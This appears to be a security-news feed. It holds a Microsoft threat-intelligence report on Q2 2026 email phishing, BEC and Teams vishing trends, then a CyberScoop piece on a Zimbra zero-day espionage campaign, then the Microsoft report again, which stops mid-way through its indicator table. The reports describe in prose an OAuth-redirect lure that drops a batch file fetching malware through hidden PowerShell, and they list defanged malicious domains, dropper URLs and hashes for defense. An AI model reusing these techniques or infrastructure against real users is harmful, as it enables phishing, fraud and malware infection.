The second quarter of 2026 (April–June) was largely defined by the continuing downstream effects following Microsoft’s Digital Crimes Unit-led disruption efforts against the Tycoon2FA phishing-as-a-service (PhaaS) platform in March. Phishing volume linked to the platform fell 92% from pre-disruption averages, including QR code phishing and CAPTCHA-gated phishing both declining from their March highs. Despite ongoing efforts to rebuild operations, Tycoon2FA did not recover its previous scale or influence during Q2, and no single service emerged to replace the platform at comparable scale.
These trends reflect both the measurable impact that disruption operations can have on phishing ecosystems and the adaptability of threat actors as they diversify delivery channels. At the same time, Microsoft Threat Intelligence observed continued growth in Teams-based social engineering, particularly voice phishing (vishing), with weekly malicious call attempts reaching nearly ten times the mid-2025 baseline by the end of the quarter. This activity illustrates how threat actors continue to expand beyond email into trusted workplace communication platforms where communications may appear more trustworthy to users.
Microsoft detected approximately 7.6 billion email-based phishing threats throughout the quarter, with monthly volumes declining modestly from 2.7 billion in April to 2.4 billion in June. Credential phishing remained the dominant objective behind malicious payloads, while business email compromise (BEC) activity largely returned to historical norms after a brief, anomalous surge in April. Notable campaigns observed during the quarter also demonstrated how threat actors combine automation, trusted services, and multi-stage delivery chains to scale operations. These campaigns ranged from an automated BEC campaign that reached more than 67,000 users across 42,000 organizations in under three hours, to a multi-stage phishing campaign that used nested EML files, calendar invitations, and a Microsoft authentication redirect to deliver malware.
April phishing campaign tactics, detections, and mitigations ›
This blog provides a view of email threat activity across the second quarter of 2026, highlighting key trends in phishing techniques, payload delivery, and threat actor behavior observed by Microsoft Threat Intelligence. We examine shifts in QR code and CAPTCHA-gated phishing activity, malicious payload trends, BEC activity, the growth of Teams-based threats, and notable campaigns observed during the quarter. We also provide recommendations and Microsoft Defender detections to help organizations identify and mitigate evolving threats while prioritizing defensive measures.
The disruption operation that Microsoft’s Digital Crimes Unit launched against Tycoon2FA infrastructure in early March continued to produce measurable results throughout Q2 2026. After falling 15% in March and another 22% in April, Tycoon2FA-linked phishing volume dropped 74% in May to just 1.5 million messages, then fell another 20% in June to 1.2 million, by far the lowest monthly volumes observed in at least a year. For reference, the average monthly volume of phishing messages linked to Tycoon2FA during the second half of 2025 was 15.1 million. By the end of Q2, volumes were running at roughly 8% of that baseline, representing a 92% total decline since the disruption operation began.
Tycoon2FA’s influence across two primary phishing tactics, QR code lures and CAPTCHA-gated landing pages, also continued to decline throughout the quarter:
These declines indicate that the platform’s customer base has not migrated to replacement infrastructure at anything close to the scale they previously operated.
After being forced off Cloudflare, which had provided anti-analysis protection that made Tycoon2FA pages harder to scan and take down, the service continued to rely on infrastructure hosted on the .RU top-level domain (TLD), a shift that began in late March. More than 40% of newly observed Tycoon2FA domains used .RU registrations throughout Q2. While this reflects an ongoing effort to find replacement hosting, Tycoon2FA’s role in the phishing ecosystem has nonetheless been significantly diminished and the pace of recovery has been slow.
After peaking at 18.7 million attacks in March, the highest monthly volume in at least a year, QR code phishing declined for three consecutive months in Q2. Volume fell 7% in April to 17.4 million, then dropped more sharply in May (-38%) and June (-22%), closing the quarter at 8.3 million attacks. By June, QR code phishing had returned to levels last seen in mid-2025.
The delivery methods used in QR code attacks shifted notably during Q2. PDF attachments remained the dominant vehicle throughout, but their dominance weakened after April:
After accumulating to nearly 12 million attacks in March, the highest monthly volume observed over the past year, CAPTCHA-gated phishing declined sharply throughout Q2. Volume fell 32% in April to 8.2 million, then dropped another 65% in May and 24% in June, closing the quarter at just 2.2 million attacks. Since the March peak, CAPTCHA-gated phishing has fallen more than 81%, reaching its lowest monthly volume in more than a year.
The rapid rotation of delivery methods that characterized Q1 continued into Q2, with no single payload type maintaining the top position for more than one or two months:
Tycoon2FA’s continued decline was a significant factor in the overall volume reduction. The platform’s share of CAPTCHA-gated phishing fell from 41% in March to 16% in April, 18% in May, and 12% by June, down from a peak of 76% in December 2025. No single service has emerged to fill the gap at comparable scale, contributing to the sustained decline in CAPTCHA-gated phishing activity overall.
Credential phishing continued to dominate the malicious payload landscape throughout Q2, accounting for 94–96% of all payload-based attacks each month. These credential phishing payloads either linked users to phishing pages or locally loaded spoofed sign-in screens on a user’s device. Traditional malware delivery represented just 4–6% of payloads, consistent with its long-term decline.
HTML and PDF attachments remained the two most common malicious payload types across the quarter, together accounting for roughly 60–70% of all payload-based attacks each month:
April 2026 produced the most anomalous BEC data point in more than a year: nearly 9 million attacks, a 121% increase from March and more than double any previous month. The spike was short-lived as volume fell 62% in May to 3.4 million and settled at 3.9 million in June, both figures consistent with the monthly baseline that had held throughout the prior year. The April surge appeared to be driven by a small number of high-volume campaigns rather than a fundamental escalation in BEC activity.
The composition of BEC attacks remained consistent throughout Q2. Generic outreach messages (like “Are you at your desk?”) accounted for 87–92% of initial contact emails each month, while explicit requests for specific financial transactions or documents represented just 3–8%. This pattern underscores that BEC operators overwhelmingly favor establishing conversational rapport with targets before making fraudulent requests, rather than leading with direct financial asks.
Within the smaller subset of explicit financial requests, the most notable trend was the near-disappearance of fake invoice payment requests:
While email remains the dominant initial access vector, threat actors increasingly abused Microsoft Teams during Q2 to deliver social engineering, phishing, and malware payloads. Unlike email, Teams traffic typically bypasses secure email gateways and benefits from the perceived legitimacy of a colleague-initiated chat, which can make lures particularly effective in this environment.
Teams-based phishing volume climbed steadily throughout Q2, with the average number of detected attacks rising 19% from March to April, holding roughly flat into May (+1%), then increasing another 10% into June. Financial and executive impersonation has remained largely absent from Teams-based attacks over the past several months.
The dominant lure theme remained technical support impersonation, with attackers posing as an employee’s information technology (IT) help desk, typically warning of an impending account lockout. However, the way attackers presented themselves continued to evolve:
Vishing through Teams showed the steepest growth of any threat category tracked in this report during Q2. Average weekly malicious call attempts rose 31% from April to May and another 27% into June, with the final two weeks of June recording the two highest weekly volumes on record. Since the beginning of 2026, weekly vishing attempts have increased roughly 80% and now run at nearly ten times the mid-2025 baseline. Attackers time these calls deliberately when targets are most likely to be online and active, with the heaviest activity falling between 14:00 and 20:00 UTC, Monday through Friday, with near-zero weekend activity. Notably, a growing share of these calls go unanswered, end quickly, or are rejected outright, partly reflecting Microsoft’s ongoing efforts to harden the Teams attack surface and improve protections against social engineering abuse.
The following campaigns were observed during the quarter and highlight notable credential phishing, BEC, and malware delivery activity. For analysis of a separate code of conduct-themed credential phishing campaign observed in April of Q2, see Breaking the code: Multi-stage ‘code of conduct’ phishing campaign leads to AiTM token compromise.
On June 1, 2026, Microsoft Defender Research observed a high-volume BEC campaign that used automation to operate at scale. Over a send window of under three hours (14:08–16:52 UTC), the actor reached more than 67,000 users across more than 42,000 organizations, almost exclusively in the United States. Targeting spanned a broad range of industries rather than a single vertical, most notably retail and consumer goods (17%), technology and software (15%), and financial services (14%). The campaign ran two lures in succession from shared infrastructure: arequest impersonating sales executives to obtain aging report data and customer contact details, and a payroll diversion pretext impersonating the CEO or President to redirect salary payments to attacker-controlled bank accounts.
Delivery was fully scripted. The messages were generated programmatically using Python’s email.mime library, identifiable from its default MIME boundary format (===============[integer]==), and dispatched through the Amazon Simple Email Service (SES) API rather than a manual webmail interface, as indicated by the SES Feedback-ID and Message-ID formats. This allowed the actor to iterate through a recipient list and inject per-message variables (like spoofed executive display names, recipient addresses, and unique tracking identifiers) at volume. Messages were sent from a DomainKeys Identified Mail (DKIM)-configured Slovak domain (ecajovna[.]sk) through SES, so they passed Sender Policy Framework (SPF) and achieved DKIM alignment. Neither lure contained a malicious link or attachment; both relied on eliciting a reply to attacker-controlled mailboxes that mimicked legitimate providers (ilyff[.]com, j-gmails[.]com, x2mails[.]com).
Automation also extended to targeting and follow-up. The actor addressed generic role-based mailboxes (like “ar”, “accountsreceivable”, “hr”, “payroll”) rather than named individuals, reducing per-target effort. Each message embedded a 1×1 open-tracking pixel served from an Amazon SES engagement subdomain, with per-message identifiers that let the actor confirm which recipients opened the email and prioritize follow-up against those targets. The combination of scripted message generation, API-based bulk delivery, role-based targeting, and automated engagement tracking allowed a single actor to run a personalized, financially motivated BEC operation at a scale not practical to execute manually.
Between June 14–15, 2026, Microsoft Defender Research observed a phishing campaign targeting more than 107,000 users across nearly 19,000 organizations, almost exclusively in the United States. The campaign targeted a broad range of industries rather than a single vertical, most notably financial services (17%), technology and software (14%), and retail and consumer goods (14%). Emails impersonated an internal “Internal Affairs – Financials & Staff Updates” function at the recipient’s own organization, with the display name and subject line both opening with the recipient’s organization name and closing with constant trailing text. The messages were sent from a Postfix host on 9i6pokerdepot[.]com routed through Barracuda’s outbound mail service, and DKIM passed cleanly for the sending domain.
The visible email body contained minimal content. One line told the reader to download the attached file for the meeting summary, followed by a confidentiality notice. Each message carried two attachments: a nested EML posing as a Teams archive recording, and an ICS calendar invite addressed to placeholder administrative accounts at the recipient’s domain. The nested EML’s file name retained an unfilled template token ( {{DATE2}} ), indicating a per-recipient templating tool.
When opened, the EML displayed a voicemail notification with a single action button. That button pointed to Microsoft’s OAuth sign-in endpoint at login.microsoftonline[.]com, with parameters that asked for a silent sign-in attempt against an Entra application that the attacker had registered as multi-tenant.
Because no active sign-in session could satisfy the silent request, Microsoft’s authentication service redirected the recipient to the destination the attacker had pre-registered on the application. That destination was a path on clickup-attachments[.]com, ClickUp’s public attachment host, and served a Windows batch file named Financial_report.bat. Because the link routed through Microsoft authentication infrastructure, both recipients and URL scanners saw a login.microsoftonline[.]com link.
The batch file ran a hidden PowerShell command that pulled installer.exe from pixeldrain[.]com, saved it under the user’s Temp directory, ran it with a silent flag, and deleted the dropper on exit. Rather than stealing credentials, the campaign ultimately resulted in silent malware execution on the user’s Windows device.
Microsoft recommends the following mitigations to reduce the impact of this threat. Check the recommendations card for the deployment status of monitored mitigations.
Microsoft Defender customers can refer to the list of applicable detections below. Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, email, apps to provide integrated protection against attacks like the threat discussed in this blog.
The following alert might indicate threat activity associated with this threat. The alert, however, can be triggered by unrelated threat activity.
The following alerts might indicate threat activity associated with this threat. These alerts, however, can be triggered by unrelated threat activity.
Microsoft Security Copilot is embedded in Microsoft Defender and provides security teams with AI-powered capabilities to summarize incidents, analyze files and scripts, summarize identities, use guided responses, and generate device summaries, hunting queries, and incident reports.
Customers can also deploy AI agents, including the following Microsoft Security Copilot agents, to perform security tasks efficiently:
Security Copilot is also available as a standalone experience where customers can perform specific security-related tasks, such as incident investigation, user analysis, and vulnerability impact assessment. In addition, Security Copilot offers developer scenarios that allow customers to build, test, publish, and integrate AI agents and plugins to meet unique security needs.
Microsoft Defender XDR customers can use the following Threat Analytics reports in the Defender portal (requires license for at least one Defender XDR product) to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.
Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat actor.
| Indicator | Type | Description | First seen | Last seen |
| 9i6pokerdepot[.]com | Domain | Sending domain; DKIM-signed by the operator | 2026-06-15 | 2026-06-15 |
| Customer.Service[@]9i6pokerdepot[.]com | Email address | Campaign sender address | 2026-06-15 | 2026-06-15 |
| t90141296286.p.clickup-attachments[.]com | Domain | ClickUp attachment subdomain hosting the stage 2 BAT dropper | 2026-06-15 | 2026-06-15 |
| hxxps://t90141296286.p.clickup-attachments[.]com/t90141296286/fb39c3a9-3161-40ad-847b-0683e0409d6f/Financial_report.bat | URL | Stage 2 BAT dropper download URL | 2026-06-15 | 2026-06-15 |
| hxxps://pixeldrain[.]com/api/file/3v92oJiL | URL | Final installer payload download URL | 2026-06-15 | 2026-06-15 |
| Re: Teams Archive Recording for {{DATE2}}.eml | File name | Nested EML attachment template name; the literal {{DATE2}} indicates an unfilled per-recipient template token | 2026-06-15 | 2026-06-15 |
| Financial_report.bat | File name | Stage 2 dropper batch file delivered from the OAuth error redirect | 2026-06-15 | 2026-06-15 |
| ecajovna[.]sk | Domain | Domain used to send campaign emails | 2026-06-01 | 2026-06-01 |
| ilyff[.]com | Domain | Reply-to domain used to receive victim responses | 2026-06-01 | 2026-06-01 |
| j-gmails[.]com | Domain | Reply-to domain used to receive victim responses | 2026-06-01 | 2026-06-01 |
| x2mails[.]com | Domain | Reply-to domain used to receive victim responses | 2026-06-01 | 2026-06-01 |
| contact[@]ecajovna[.]sk | Email address | Address used to send campaign emails | 2026-06-01 | 2026-06-01 |
| mail[@]ilyff[.]com | Email address | Reply-to address | 2026-06-01 | 2026-06-01 |
| me[@]j-gmails[.]com | Email address | Reply-to address | 2026-06-01 | 2026-06-01 |
| me[@]x2mails[.]com | Email address | Reply-to address | 2026-06-01 | 2026-06-01 |
| compliance-protectionoutlook[.]de | Domain | Domain hosting malicious campaign content | 2026-04-14 | 2026-04-16 |
| acceptable-use-policy-calendly[.]de | Domain | Domain hosting malicious campaign content | 2026-04-14 | 2026-04-16 |
| cocinternal[.]com | Domain | Domain hosting sender email address | 2026-04-14 | 2026-04-16 |
| gadellinet[.]com | Domain | Domain hosting sender email address | 2026-04-14 | 2026-04-16 |
| harteprn[.]com | Domain | Domain hosting sender email address | 2026-04-14 | 2026-04-16 |
| cocpostmaster[@]cocinternal[.]cm | Email address | Email address used to send campaign emails | 2026-04-14 | 2026-04-16 |
| nationaladmin[@]gadellinet[.]com | Email address | Email address used to send campaign emails | 2026-04-14 | 2026-04-16 |
| nationalintegrity[@]harteprn[.]com | Email address | Email address used to send campaign emails | 2026-04-14 | 2026-04-16 |
| m365premiumcommunications[@]cocinternal[.]com | Email address | Email address used to send campaign emails | 2026-04-14 | 2026-04-16 |
| documentviewer[@]na[.]businesshellosign[.]de | Email address | Email address used to send campaign emails | 2026-04-14 | 2026-04-16 |
| 5DB1ECBBB2C90C51D81BDA138D4300B90EA5EB2885CCE1BD921D692214AECBC6 | SHA-256 | File hash of campaign PDF attachment | 2026-04-14 | 2026-04-16 |
| B5A3346082AC566B4494E6175F1CD9873B64ABE6C902DB49BD4E8088876C9EAD | SHA-256 | File hash of campaign PDF attachment | 2026-04-14 | 2026-04-16 |
| 11420D6D693BF8B19195E6B98FEDD03B9BCBC770B6988BC64CB788BFABE1A49D | SHA-256 | File hash of campaign PDF attachment | 2026-04-14 | 2026-04-16 |
For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.
To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.
To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.
The post Email threat landscape: Q2 2026 trends and insights appeared first on Microsoft Security Blog.
A Russian state-sponsored threat group has been stealing sensitive data from governments and commercial organizations since July 2025 via a novel exploit in popular Linux-based enterprise software, U.S. authorities and cyber officials from more than a dozen other countries warned in a joint cybersecurity advisory Thursday.
Laundry Bear’s most recent espionage campaign involves the exploitation of a zero-day vulnerability in Zimbra Collaboration Suite that wasn’t patched until November 2025, five months after attacks were well underway, officials said.
The exploit just requires a view — no clicks — and allows attackers to steal the previous 90 days’ worth of email, the account’s password, search history, the victim organization’s email directory, two-factor authentication tokens and other newly created passwords.
“The covert and persistent nature of this activity, along with the absence of any known financial extortion, almost certainly indicates this group’s involvement in espionage activities with Russian government backing,” officials wrote in the advisory.
“Additionally, extensive Ukrainian targeting, prior to use against U.S. and other NATO allies, outlines an increasing trend within Russian cyber threat groups to target Ukrainian users first—both as a priority target and as a testbench for malicious cyber techniques before broader global deployment.”
The state-sponsored espionage group, also known as Void Blizzard, has compromised governments and organizations in the defense, education, energy, law enforcement, media, finance, transportation and technology sectors.
Laundry Bear’s year-long campaign involving the exploitation of CVE-2025-66376 showcases more technical capabilities, including a custom JavaScript payload it delivers to targeted victims via phishing emails. The threat group could also likely adapt the novel data exfiltration and aggregation capability, dubbed “beehive,” to exploit other vulnerabilities, officials warned.
The defect’s medium-severity rating of 6.1 underscores the challenge defenders regularly confront in prioritizing patching schedules based on measure of severity alone.
The Russian state-supported group, which has been active since at least 2024, is still actively exploiting Zimbra Collaboration Suite instances that remain unpatched, officials said.
Authorities shared Thursday indicators of compromise, mitigation steps and urged organizations to update their vulnerable software.
“This campaign’s targeted victimology and limited exploitation capabilities likely indicate this group manually identifies and targets the victim organizations” by identifying organizations with public-facing infrastructure, officials wrote in the advisory.
Once a target is identified, Laundry Bear also likely compiles email addresses for users to target with the exploit via phishing emails. Officials did not identify specific victims or describe the volume of organizations already compromised.
The joint cybersecurity advisory was issued by the United States, Australia, Canada, New Zealand, the United Kingdom, Czech Republic, Denmark, Estonia, Finland, France, Italy, Moldova, the Netherlands, Poland, Spain and Sweden.
The post Russian espionage group using novel Zimbra exploit to steal sensitive data from Western countries appeared first on CyberScoop.
The second quarter of 2026 (April–June) was largely defined by the continuing downstream effects following Microsoft’s Digital Crimes Unit-led disruption efforts against the Tycoon2FA phishing-as-a-service (PhaaS) platform in March. Phishing volume linked to the platform fell 92% from pre-disruption averages, including QR code phishing and CAPTCHA-gated phishing both declining from their March highs. Despite ongoing efforts to rebuild operations, Tycoon2FA did not recover its previous scale or influence during Q2, and no single service emerged to replace the platform at comparable scale.
These trends reflect both the measurable impact that disruption operations can have on phishing ecosystems and the adaptability of threat actors as they diversify delivery channels. At the same time, Microsoft Threat Intelligence observed continued growth in Teams-based social engineering, particularly voice phishing (vishing), with weekly malicious call attempts reaching nearly ten times the mid-2025 baseline by the end of the quarter. This activity illustrates how threat actors continue to expand beyond email into trusted workplace communication platforms where communications may appear more trustworthy to users.
Microsoft detected approximately 7.6 billion email-based phishing threats throughout the quarter, with monthly volumes declining modestly from 2.7 billion in April to 2.4 billion in June. Credential phishing remained the dominant objective behind malicious payloads, while business email compromise (BEC) activity largely returned to historical norms after a brief, anomalous surge in April. Notable campaigns observed during the quarter also demonstrated how threat actors combine automation, trusted services, and multi-stage delivery chains to scale operations. These campaigns ranged from an automated BEC campaign that reached more than 67,000 users across 42,000 organizations in under three hours, to a multi-stage phishing campaign that used nested EML files, calendar invitations, and a Microsoft authentication redirect to deliver malware.
April phishing campaign tactics, detections, and mitigations ›
This blog provides a view of email threat activity across the second quarter of 2026, highlighting key trends in phishing techniques, payload delivery, and threat actor behavior observed by Microsoft Threat Intelligence. We examine shifts in QR code and CAPTCHA-gated phishing activity, malicious payload trends, BEC activity, the growth of Teams-based threats, and notable campaigns observed during the quarter. We also provide recommendations and Microsoft Defender detections to help organizations identify and mitigate evolving threats while prioritizing defensive measures.
The disruption operation that Microsoft’s Digital Crimes Unit launched against Tycoon2FA infrastructure in early March continued to produce measurable results throughout Q2 2026. After falling 15% in March and another 22% in April, Tycoon2FA-linked phishing volume dropped 74% in May to just 1.5 million messages, then fell another 20% in June to 1.2 million, by far the lowest monthly volumes observed in at least a year. For reference, the average monthly volume of phishing messages linked to Tycoon2FA during the second half of 2025 was 15.1 million. By the end of Q2, volumes were running at roughly 8% of that baseline, representing a 92% total decline since the disruption operation began.
Tycoon2FA’s influence across two primary phishing tactics, QR code lures and CAPTCHA-gated landing pages, also continued to decline throughout the quarter:
These declines indicate that the platform’s customer base has not migrated to replacement infrastructure at anything close to the scale they previously operated.
After being forced off Cloudflare, which had provided anti-analysis protection that made Tycoon2FA pages harder to scan and take down, the service continued to rely on infrastructure hosted on the .RU top-level domain (TLD), a shift that began in late March. More than 40% of newly observed Tycoon2FA domains used .RU registrations throughout Q2. While this reflects an ongoing effort to find replacement hosting, Tycoon2FA’s role in the phishing ecosystem has nonetheless been significantly diminished and the pace of recovery has been slow.
After peaking at 18.7 million attacks in March, the highest monthly volume in at least a year, QR code phishing declined for three consecutive months in Q2. Volume fell 7% in April to 17.4 million, then dropped more sharply in May (-38%) and June (-22%), closing the quarter at 8.3 million attacks. By June, QR code phishing had returned to levels last seen in mid-2025.
The delivery methods used in QR code attacks shifted notably during Q2. PDF attachments remained the dominant vehicle throughout, but their dominance weakened after April:
After accumulating to nearly 12 million attacks in March, the highest monthly volume observed over the past year, CAPTCHA-gated phishing declined sharply throughout Q2. Volume fell 32% in April to 8.2 million, then dropped another 65% in May and 24% in June, closing the quarter at just 2.2 million attacks. Since the March peak, CAPTCHA-gated phishing has fallen more than 81%, reaching its lowest monthly volume in more than a year.
The rapid rotation of delivery methods that characterized Q1 continued into Q2, with no single payload type maintaining the top position for more than one or two months:
Tycoon2FA’s continued decline was a significant factor in the overall volume reduction. The platform’s share of CAPTCHA-gated phishing fell from 41% in March to 16% in April, 18% in May, and 12% by June, down from a peak of 76% in December 2025. No single service has emerged to fill the gap at comparable scale, contributing to the sustained decline in CAPTCHA-gated phishing activity overall.
Credential phishing continued to dominate the malicious payload landscape throughout Q2, accounting for 94–96% of all payload-based attacks each month. These credential phishing payloads either linked users to phishing pages or locally loaded spoofed sign-in screens on a user’s device. Traditional malware delivery represented just 4–6% of payloads, consistent with its long-term decline.
HTML and PDF attachments remained the two most common malicious payload types across the quarter, together accounting for roughly 60–70% of all payload-based attacks each month:
April 2026 produced the most anomalous BEC data point in more than a year: nearly 9 million attacks, a 121% increase from March and more than double any previous month. The spike was short-lived as volume fell 62% in May to 3.4 million and settled at 3.9 million in June, both figures consistent with the monthly baseline that had held throughout the prior year. The April surge appeared to be driven by a small number of high-volume campaigns rather than a fundamental escalation in BEC activity.
The composition of BEC attacks remained consistent throughout Q2. Generic outreach messages (like “Are you at your desk?”) accounted for 87–92% of initial contact emails each month, while explicit requests for specific financial transactions or documents represented just 3–8%. This pattern underscores that BEC operators overwhelmingly favor establishing conversational rapport with targets before making fraudulent requests, rather than leading with direct financial asks.
Within the smaller subset of explicit financial requests, the most notable trend was the near-disappearance of fake invoice payment requests:
While email remains the dominant initial access vector, threat actors increasingly abused Microsoft Teams during Q2 to deliver social engineering, phishing, and malware payloads. Unlike email, Teams traffic typically bypasses secure email gateways and benefits from the perceived legitimacy of a colleague-initiated chat, which can make lures particularly effective in this environment.
Teams-based phishing volume climbed steadily throughout Q2, with the average number of detected attacks rising 19% from March to April, holding roughly flat into May (+1%), then increasing another 10% into June. Financial and executive impersonation has remained largely absent from Teams-based attacks over the past several months.
The dominant lure theme remained technical support impersonation, with attackers posing as an employee’s information technology (IT) help desk, typically warning of an impending account lockout. However, the way attackers presented themselves continued to evolve:
Vishing through Teams showed the steepest growth of any threat category tracked in this report during Q2. Average weekly malicious call attempts rose 31% from April to May and another 27% into June, with the final two weeks of June recording the two highest weekly volumes on record. Since the beginning of 2026, weekly vishing attempts have increased roughly 80% and now run at nearly ten times the mid-2025 baseline. Attackers time these calls deliberately when targets are most likely to be online and active, with the heaviest activity falling between 14:00 and 20:00 UTC, Monday through Friday, with near-zero weekend activity. Notably, a growing share of these calls go unanswered, end quickly, or are rejected outright, partly reflecting Microsoft’s ongoing efforts to harden the Teams attack surface and improve protections against social engineering abuse.
The following campaigns were observed during the quarter and highlight notable credential phishing, BEC, and malware delivery activity. For analysis of a separate code of conduct-themed credential phishing campaign observed in April of Q2, see Breaking the code: Multi-stage ‘code of conduct’ phishing campaign leads to AiTM token compromise.
On June 1, 2026, Microsoft Defender Research observed a high-volume BEC campaign that used automation to operate at scale. Over a send window of under three hours (14:08–16:52 UTC), the actor reached more than 67,000 users across more than 42,000 organizations, almost exclusively in the United States. Targeting spanned a broad range of industries rather than a single vertical, most notably retail and consumer goods (17%), technology and software (15%), and financial services (14%). The campaign ran two lures in succession from shared infrastructure: arequest impersonating sales executives to obtain aging report data and customer contact details, and a payroll diversion pretext impersonating the CEO or President to redirect salary payments to attacker-controlled bank accounts.
Delivery was fully scripted. The messages were generated programmatically using Python’s email.mime library, identifiable from its default MIME boundary format (===============[integer]==), and dispatched through the Amazon Simple Email Service (SES) API rather than a manual webmail interface, as indicated by the SES Feedback-ID and Message-ID formats. This allowed the actor to iterate through a recipient list and inject per-message variables (like spoofed executive display names, recipient addresses, and unique tracking identifiers) at volume. Messages were sent from a DomainKeys Identified Mail (DKIM)-configured Slovak domain (ecajovna[.]sk) through SES, so they passed Sender Policy Framework (SPF) and achieved DKIM alignment. Neither lure contained a malicious link or attachment; both relied on eliciting a reply to attacker-controlled mailboxes that mimicked legitimate providers (ilyff[.]com, j-gmails[.]com, x2mails[.]com).
Automation also extended to targeting and follow-up. The actor addressed generic role-based mailboxes (like “ar”, “accountsreceivable”, “hr”, “payroll”) rather than named individuals, reducing per-target effort. Each message embedded a 1×1 open-tracking pixel served from an Amazon SES engagement subdomain, with per-message identifiers that let the actor confirm which recipients opened the email and prioritize follow-up against those targets. The combination of scripted message generation, API-based bulk delivery, role-based targeting, and automated engagement tracking allowed a single actor to run a personalized, financially motivated BEC operation at a scale not practical to execute manually.
Between June 14–15, 2026, Microsoft Defender Research observed a phishing campaign targeting more than 107,000 users across nearly 19,000 organizations, almost exclusively in the United States. The campaign targeted a broad range of industries rather than a single vertical, most notably financial services (17%), technology and software (14%), and retail and consumer goods (14%). Emails impersonated an internal “Internal Affairs – Financials & Staff Updates” function at the recipient’s own organization, with the display name and subject line both opening with the recipient’s organization name and closing with constant trailing text. The messages were sent from a Postfix host on 9i6pokerdepot[.]com routed through Barracuda’s outbound mail service, and DKIM passed cleanly for the sending domain.
The visible email body contained minimal content. One line told the reader to download the attached file for the meeting summary, followed by a confidentiality notice. Each message carried two attachments: a nested EML posing as a Teams archive recording, and an ICS calendar invite addressed to placeholder administrative accounts at the recipient’s domain. The nested EML’s file name retained an unfilled template token ( {{DATE2}} ), indicating a per-recipient templating tool.
When opened, the EML displayed a voicemail notification with a single action button. That button pointed to Microsoft’s OAuth sign-in endpoint at login.microsoftonline[.]com, with parameters that asked for a silent sign-in attempt against an Entra application that the attacker had registered as multi-tenant.
Because no active sign-in session could satisfy the silent request, Microsoft’s authentication service redirected the recipient to the destination the attacker had pre-registered on the application. That destination was a path on clickup-attachments[.]com, ClickUp’s public attachment host, and served a Windows batch file named Financial_report.bat. Because the link routed through Microsoft authentication infrastructure, both recipients and URL scanners saw a login.microsoftonline[.]com link.
The batch file ran a hidden PowerShell command that pulled installer.exe from pixeldrain[.]com, saved it under the user’s Temp directory, ran it with a silent flag, and deleted the dropper on exit. Rather than stealing credentials, the campaign ultimately resulted in silent malware execution on the user’s Windows device.
Microsoft recommends the following mitigations to reduce the impact of this threat. Check the recommendations card for the deployment status of monitored mitigations.
Microsoft Defender customers can refer to the list of applicable detections below. Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, email, apps to provide integrated protection against attacks like the threat discussed in this blog.
The following alert might indicate threat activity associated with this threat. The alert, however, can be triggered by unrelated threat activity.
The following alerts might indicate threat activity associated with this threat. These alerts, however, can be triggered by unrelated threat activity.
Microsoft Security Copilot is embedded in Microsoft Defender and provides security teams with AI-powered capabilities to summarize incidents, analyze files and scripts, summarize identities, use guided responses, and generate device summaries, hunting queries, and incident reports.
Customers can also deploy AI agents, including the following Microsoft Security Copilot agents, to perform security tasks efficiently:
Security Copilot is also available as a standalone experience where customers can perform specific security-related tasks, such as incident investigation, user analysis, and vulnerability impact assessment. In addition, Security Copilot offers developer scenarios that allow customers to build, test, publish, and integrate AI agents and plugins to meet unique security needs.
Microsoft Defender XDR customers can use the following Threat Analytics reports in the Defender portal (requires license for at least one Defender XDR product) to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.
Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat actor.
| Indicator | Type | Description | First seen | Last seen |
| 9i6pokerdepot[.]com | Domain | Sending domain; DKIM-signed by the operator | 2026-06-15 | 2026-06-15 |
| Customer.Service[@]9i6pokerdepot[.]com | Email address | Campaign sender address | 2026-06-15 | 2026-06-15 |
| t90141296286.p.clickup-attachments[.]com | Domain | ClickUp attachment subdomain hosting the stage 2 BAT dropper | 2026-06-15 | 2026-06-15 |
| hxxps://t90141296286.p.clickup-attachments[.]com/t90141296286/fb39c3a9-3161-40ad-847b-0683e0409d6f/Financial_report.bat | URL | Stage 2 BAT dropper download URL | 2026-06-15 | 2026-06-15 |
| hxxps://pixeldrain[.]com/api/file/3v92oJiL | URL | Final installer payload download URL | 2026-06-15 | 2026-06-15 |
| Re: Teams Archive Recording for {{DATE2}}.eml | File name | Nested EML attachment template name; the literal {{DATE2}} indicates an unfilled per-recipient template token | 2026-06-15 | 2026-06-15 |
| Financial_report.bat | File name | Stage 2 dropper batch file delivered from the OAuth error redirect | 2026-06-15 | 2026-06-15 |
| ecajovna[.]sk | Domain | Domain used to send campaign emails | 2026-06-01 | 2026-06-01 |
| ilyff[.]com | Domain | Reply-to domain used to receive victim responses | 2026-06-01 | 2026-06-01 |
| j-gmails[.]com | Domain | Reply-to domain used to receive victim responses | 2026-06-01 | 2026-06-01 |
| x2mails[.]com | Domain | Reply-to domain used to receive victim responses | 2026-06-01 | 2026-06-01 |
| contact[@]ecajovna[.]sk | Email address | Address used to send campaign emails | 2026-06-01 | 2026-06-01 |
| mail[@]ilyff[.]com | Email address | Reply-to address | 2026-06-01 | 2026-06-01 |
| me[@]j-gmails[.]com | Email address | Reply-to address | 2026-06-01 | 2026-06-01 |
| me[@]x2mails[.]com | Email address | Reply-to address | 2026-06-01 | 2026-06-01 |
| compliance-protectionoutlook[.]de | Domain | Domain hosting malicious campaign content | 2026-04-14 | 2026-04-16 |
| acceptable-use-policy-calendly[.]de | Domain | Domain hosting malicious campaign content | 2026-04-14 | 2026-04-16 |
| cocinternal[.]com | Domain | Domain hosting sender email address | 2026-04-14 | 2026-04-16 |
| gadellinet[.]com | Domain | Domain hosting sender email address | 2026-04-14 | 2026-04-16 |
| harteprn[.]com | Domain | Domain hosting sender email address | 2026-04-14 | 2026-04-16 |
